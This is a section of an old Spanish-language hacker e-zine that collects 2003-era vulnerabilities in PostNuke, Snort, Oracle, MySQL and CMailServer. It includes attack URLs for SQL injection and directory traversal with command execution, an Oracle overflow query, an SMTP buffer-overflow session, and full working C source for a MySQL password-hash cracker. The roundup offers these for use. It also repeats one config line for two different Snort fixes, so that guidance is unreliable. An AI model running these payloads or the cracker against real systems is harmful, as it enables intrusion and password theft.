[20. Bug(s) y Exploit(s) ]===================================================================]
[BY  Staff Cultura Digital Team ]============================================================]
[============================================================================================]

Hi aca estamos siguiendo con esta seccion como se los ha hecho costumbre aca presentamos una
recopilacion de los bug y exploit que han  salidos durante este tiempo y bueno nada mas que 
decir vamos al grano.


Vulnerabilidad en postnuke 0.7.2
-----------------------------------

PostNuke es un sistema de administracion de contenidos Web escrito en PHP que se apoya en 
bases de datos mysql para su funcionamiento. Se han detectado vulnerabilidades de inyeccion 
SQL y de escalada de directorios que pueden permitir a un atacante llegar a comprometer el 
sistema. 

La vulnerabilidad de inyeccion SQL reside en el modulo Members_List al no comprobar de forma 
adecuada la variable $sortby empleada por las consultas SQL para seleccionar la lista de 
miembros de PostNuke. Esto puede reproducirse mediante una simple URL y puede permitir al 
atacante extraer toda la informacion de las bases de datos e incluso llegar a lograr la 
ejecucion de comandos.
 
http://[victima]/modules.php?op=modload&name=Members_List&file=index&letter=[nombre_usuario]
&sortby=[consulta sql] 

El problema de escalada de directorios permitira a un usuario malicioso acceder a cualquier 
archivo del sistema escapando de la raiz del web. La vulnerabilidad se encuentra en la 
variable theme, el atacante podra construir una URL de la siguiente forma para acceder a los 
archivos deseados y conseguir ejecutar comandos en el sistema. 

http://[victima]/index.php?theme=../../../../../../../../tmp&cmd=[comando] 

El equipo de desarrollo de PostNuke ha publicado un parche para la version 7.2.3 que corrige 
este problema. Se recomienda a todos los administradores actualicen sus sistemas a la v7.2.3 
y apliquen la actualizacion disponible en: 

Actualizacion de seguridad para PostNuke Phoenix 0.723 (zip): 

http://download.hostnuke.com/pafiledb.php?action=file&id=17

Actualizacion de seguridad para PostNuke Phoenix 0.723 (tar.gz): 
http://download.hostnuke.com/pafiledb.php?action=file&id=18 

Ms informacin: 
-----------------

PostNuke Security Fix (SQL injection and directory traversal) 
http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=2378 


Multiples Vulnerabilidades en Preprocesadores de Snort 
--------------------------------------------------------

Sistema afectado: IDS Snort, versiones de la 1.8 a la 2.0 RC1 

Fuente: UNAM-CERT 

Descripcion del bug:
---------------------

El sistema de deteccion de intrusos Snort contiene una variedad de modulos de procesador que 
permiten al usuario incluir selectivamente funcionalidad adicional. Investigadores de dos 
organizaciones independientes han descubierto vulnerabilidades en dos de estos modulos, el 
preprocesador RPC y el preprocesador de reagrupacion de fragmento TCP "stream4". 

Para informacion adicional sobre Snort, se puede consultar http://www.snort.org. 


VU#139129  Overflow de Heap en el Preprocesador "stream4" de Snort 

Investigadores en CORE Security Technologies han descubierto un overflow de heap remotamente 
explotable en el modulo de preprocesador "stream4" de Snort. Este modulo permite a Snort 
reagrupar fragmentos de paquetes TCP para una analisis mas completo. 

Para explotar esta vulnerabilidad, un intruso debe alterar el estado que rastrea el mecanismo 
del modulo de preprocesador, enviando una serie de paquetes con numeros de secuencia creados 
de forma maliciosa. Esto causa que los modulos eviten una verificacion de un buffer overflow 
que intenta y permite a un intruso insertar codigo arbitrario en el heap. 

Para informacin adicional, se puede consultar el boletin de Core Security Technologies en: 

http://www.coresecurity.com/common/showdoc.php?idx=313&idxseccion=10 

La vulnerabilidad afecta las versiones de Snort 1.8.x, 1.9.x y 2.0 anteriores a la version 
RC1. Snort ha publicado un boletin en relacion a esta vulnerabilidad; este boletin esta 
disponible en: http://www.snort.org/advisories/snort-2003-04-16-1.txt. 


VU#916785 - Buffer overflow en el Preprocesador RPC de Snort RPC (CAN-2003-0033) 

Investigadores de Internet Security Systems (ISS) han descubierto un buffer overflow 
remotamente explotable en el modulo de preprocesador RPC de Snort. Martin Roesch, 
desarrollador primordial de Snort, describio esta vulnerabilidad como: 

Cuando el decodificador RPC normaliza los registros RPC fragmentados, verifica incorrectamente 
las longitudes normales contra el tamao actual del paquete, permitiendo una condicion de 
overflow. El preprocesador RPC esta habilitado de forma predeterminada. Para informacion 
adicional, se puede consultar el boletin de IIS X-Force localizado en: 

http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21951 

Esta vulnerabilidad afecta las versiones de Snort de la 1.8.x a la 1.9.1 y la versin 2.0 
Beta. 


Impacto:
---------

Ambas vulnerabilidades, VU#139129 y VU#916785 permiten a los intrusos remotos ejecutar codigo 
arbitrario con los privilegios del usuario ejecutando Snort, tipicamente Administrador Local 
(root). Se debe hacer notar que no es necesario que el intruso conozca la direccion IP del 
dispositivo Snort que desee atacar; simplemente enviando trafico malicioso donde pueda ser 
observado por un sensor de Snort afectado, es suficiente para explotar estas vulnerabilidades.


Soluciones:
------------

Actualizar a Snort 2.0 

Ambas vulnerabilidades, VU#139129 y VU#916785, son solucionadas en la version 2.0 de Snort, 
la cual esta disponible en: 

http://www.snort.org/dl/snort-2.0.0.tar.gz 

Las versiones binarias de Snort estan disponibles en: 

http://www.snort.org/dl/binaries 

Deshabilitar los Modulos de Procesador Afectados. 

Los sitios que no son capaces de actualizar inmediatamente los sensores de Snort afectados 
pueden prevenir la explotacion de esta vulnerabilidad comentando los modulos de preprocesador 
afectado en el archivo de configuracion "snort.conf". 

Para prevenir la explotacion de VU#139129, se debe comentar la siguiente linea: 

preprocessor stream4_reassemble 

Para prevenir la explotacion de VU#916785, se debe comentar la siguiente linea: 

preprocessor stream4_reassemble 

Despues de comentar los modulos afectados, se debe enviar una seal SIGHUP al proceso Snort 
afectado para actualizar la configuracion. Se debe hacer notar que deshabilitar estos modulos 
pueden tener efectos contrarios en la habilidad del sensor para procesar correctamente 
fragmentos de registros RPC y fragmentos de paquetes TCP. En particular, deshabilitando el 
modulo de preprocesador "stream4" prevendra que el sensor de Snort detectar una variedad de 
ataques de evasion IDS. 


Bloquear los Paquetes Salientes de los Sistemas IDS de Snort. 

Se puede ser capaz de limitar las capacidades de un intruso si el sistema es comprometido, 
bloqueado todo el trafico de salida del sensor de Snort. Aunque esta solucion temporal no 
prevendra la explotacion de la vulnerabilidad, hara mas dificil para un intruso crear un 
exploit satisfactorio. 


Desbordamiento de buffer en Oracle
-----------------------------------

El servidor de bases de datos Oracle es vulnerable a un desbordamiento de bufer explotable de 
forma remota. El problema existe con los enlaces de bases de datos; funcionalidad que permite 
la consulta de un servidor de base de datos Oracle desde otro.

El desbordamiento puede explotarse si se proporciona un parametro demasiado largo para una 
cadena de conexion 'CREATE DATABASE LINK' con la consulta: 

CREATE DATABASE LINK hs 
CONNECT TO hr 
IDENTIFIED BY hr 
USING 'cadena_larga' 

Por defecto, el privilegio 'CREATE DATABASE LINK' esta asociado al nivel CONNECT y la mayoria 
de las cuentas Oracle tienen asignado este nivel, incluso las cuentas con privilegios mas 
bajos. 

Mediante la creacion de un enlace de base de datos especialmente creado, y tras ello, 
seleccionarlo desde el enlace: 

select * from tabla@hs 

se podra provocar el desbordamiento. 

Esta vulnerabilidad podra permitir a un atacante conseguir la ejecucion de codigo arbitrario 
en el servidor, que se ejecutara con los permisos de la cuenta con la que se ejecute el 
servidor Oracle. 

Para Oracle 9.2.0.2 para Unix se publica el parche 2749511 
Para Oracle 9.0.1.4 para Unix se publica el parche 2760944 
Para Oracle 8.1.7.4 para Unix se publica el parche 2784635 
Para Oracle 8.1.7.4 para Windows se publica el parche 2899111 
Para Oracle 8.0.6.3 para Unix se publica el parche 2760879 
Para Oracle 8.0.6.3 para Windows se publica el parche 2845564 
Disponibles en http://metalink.oracle.com 

No se publican parches para Oracle 8.0.5.x, 8.1.5.x, 8.1.6.x, 7.3.x. 


MySQL almacena las contraseas de forma insegura 
-------------------------------------------------

  
El mecanismo utilizado por MySQL para cifrar las contraseas en el momento de almacenarlas no 
ofrece garantas de seguridad, ya que mediante fuerza bruta se puede obtener la contrasea en 
relativamente poco tiempo. 

El problema se encuentra en que las contraseas, que se almacenan en una tabla utilizando 
PASSWORD(), son cifradas de una forma en que facilitan su descifrado por fuerza bruta a gran 
velocidad. 

Esto puede ser utilizado por un atacante malevolo, con acceso a la base de datos que contiene 
las contraseas, a identificar en periodos de tiempo relativamente cortos cualquier 
contrasea. Por ejemplo, una contrasea de ocho caracteres en cuestin de unas pocas horas. 

Debe indicarse, no obstante, que MySQL ofrece otros mecanismos de cifrado de la contrasea 
mucho ms fuertes. 


Exploit
---------

/*
* This is a high-speed brute-force password cracker for MySQL hashed
* passwords. It can break an 8-character password containing any
* printable ascii characters in a matter of hours on an ordinary PC.
*
* This program is public domain. Share and enjoy.
*
* Example:
*	$ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
*	$ mysqlfast 6294b50f67eda209
*	Hash: 6294b50f67eda209
*	Trying length 3
*	Trying length 4
*	Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR	33
#define MAX_CHAR	126

/* Maximum length of password */
#define MAX_LEN	12

#define MASK	0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
	int i, c;
	u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
	u32 newstate1, newstate2, newstate3;
	u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
	u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
	i = -1;
	sum = 7;
	state1_ary[0] = 1345345333L;
	state2_ary[0] = 0x12345671L;

	while (1) {
		while (i < stop) {
			i++;
			pass_ary[i] = MIN_CHAR;
			step_ary[i] = (state1_ary[i] & 0x3f) + sum;
			xor_ary[i]  = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
			sum += MIN_CHAR;
			state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
			state2_ary[i+1] = state2_ary[i]
				+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
		}

		state1 = state1_ary[i+1];
		state2 = state2_ary[i+1];
		step = (state1 & 0x3f) + sum;
		xor1 = step*MIN_CHAR + (state1 << 8);
		xor2 = (state2 << 8) ^ state1;

		for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
			newstate2 = state2 + (xor1 ^ xor2);
			newstate1 = state1 ^ xor1;

			newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
			div  = (newstate1 & 0x3f) + sum + c;
			diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
			if (diff % div != 0) continue;
			d = diff / div;
			if (d < MIN_CHAR || d > MAX_CHAR) continue;

			div  = (newstate3 & 0x3f) + sum + c + d;
			diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
			if (diff % div != 0) continue;
			e = diff / div;
			if (e < MIN_CHAR || e > MAX_CHAR) continue;

			pass_ary[i+1] = c;
			pass_ary[i+2] = d;
			pass_ary[i+3] = e;
			return 1;
		}

		while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
			sum -= MAX_CHAR;
			i--;
		}
		if (i < 0) break;
		pass_ary[i]++;
		xor_ary[i] += step_ary[i];
		sum++;
		state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
		state2_ary[i+1] = state2_ary[i]
			+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
	}

	return 0;
}

void crack(char *hash)
{
	int i, len;
	u32 targ1, targ2, targ3;
	int pass[MAX_LEN];

	if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
		printf("Invalid password hash: %s\n", hash);
		return;
	}
	printf("Hash: %08lx%08lx\n", targ1, targ2);
	targ3 = targ2 - targ1;
	targ3 = targ2 - ((targ3 << 8) ^ targ1);
	targ3 = targ2 - ((targ3 << 8) ^ targ1);
	targ3 = targ2 - ((targ3 << 8) ^ targ1);

	for (len = 3; len <= MAX_LEN; len++) {
		printf("Trying length %d\n", len);
		if ( crack0(len-4, targ1, targ3, pass) ) {
			printf("Found pass: ");
			for (i = 0; i < len; i++)
				putchar(pass[i]);
			putchar('\n');
			break;
		}
	}
	if (len > MAX_LEN)
		printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
	int i;
	if (argc <= 1)
		printf("usage: %s hash\n", argv[0]);
	for (i = 1; i < argc; i++)
		crack(argv[i]);
	return 0;
}


Desbordamiento de bufer remoto en CMailServer 
---------------------------------------------- 

Se ha anunciado la existencia de multiples vulnerabilidades de desbordamiento de bufer en 
CmailServer por las que un atacante remoto podra lograr ejecutar codigo arbitrario con 
privilegios del sistema. 

El problema reside en la posibilidad de sobrescribir el tratamiento de excepciones en la 
pila y ejecutar codigo con privilegios System en el servidor que procesa el protocolo SMTP. 
Se ven afectados los comandos "MAIL FROM" y "RCPT TO" si se introducen con un valor mayor de 
2 kbytes. 


Exploit
--------

telnet servidor_vulnerable 25 
220 ESMTP CMailServer 4.0.2003.03.27 SMTP Service Ready 
HELO Foobar 
250 win2k-serv 
Mail From : <aaaaa....[bufer de tamao 2000 bytes]> 
<Connection closed> 
 

Y esto es todo referente a bug(s) y exploit(s).  Esperamos que le sean de utilidad por ah xD .

Saludos el Staff CDT...
